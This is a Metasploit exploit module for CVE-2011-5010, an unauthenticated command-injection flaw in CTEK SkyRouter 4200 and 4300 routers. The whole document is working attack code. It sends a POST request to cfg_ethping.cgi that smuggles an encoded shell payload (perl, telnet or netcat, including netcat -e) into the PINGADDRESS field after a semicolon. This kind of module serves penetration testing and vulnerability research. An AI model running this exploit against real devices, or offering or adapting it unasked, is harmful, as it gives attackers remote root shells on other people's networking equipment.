CTEK SkyRouter 4200 and 4300 Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CTEK SkyRouter 4200 and 4300 Command Execution',
      'Description'    => %q{
          This module exploits an unauthenticated remote root exploit within ctek SkyRouter 4200 and 4300.
      },
      'Author'         => [ 'savant42' ],  #with module help from kos
      'License'        => MSF_LICENSE,
      'References'     => [
                  ['CVE', '2011-5010'],
                  ['OSVDB', '77497']
                ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet netcat netcat-e',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '2011-09-08', # CGI historical date :)
      'DefaultTarget' => 0))

  end

  def exploit
    post_data = "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;" + Rex::Text.uri_encode(payload.encoded) + "+%26"
    uri    = '/apps/a3/cfg_ethping.cgi'
    print_status("Sending HTTP request for #{uri}")
    res = send_request_cgi( {
      'global' => true,
      'uri'    => uri,
      'method' => "POST",
      'data' => post_data
    }, 30)

    if res
      print_status("The server responded with HTTP CODE #{res.code}")
    else
      print_status("The server did not respond to our request")
    end

    handler
  end
end